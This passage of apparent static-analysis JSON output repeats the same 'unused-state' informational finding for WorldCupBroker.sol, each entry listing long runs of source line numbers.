1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 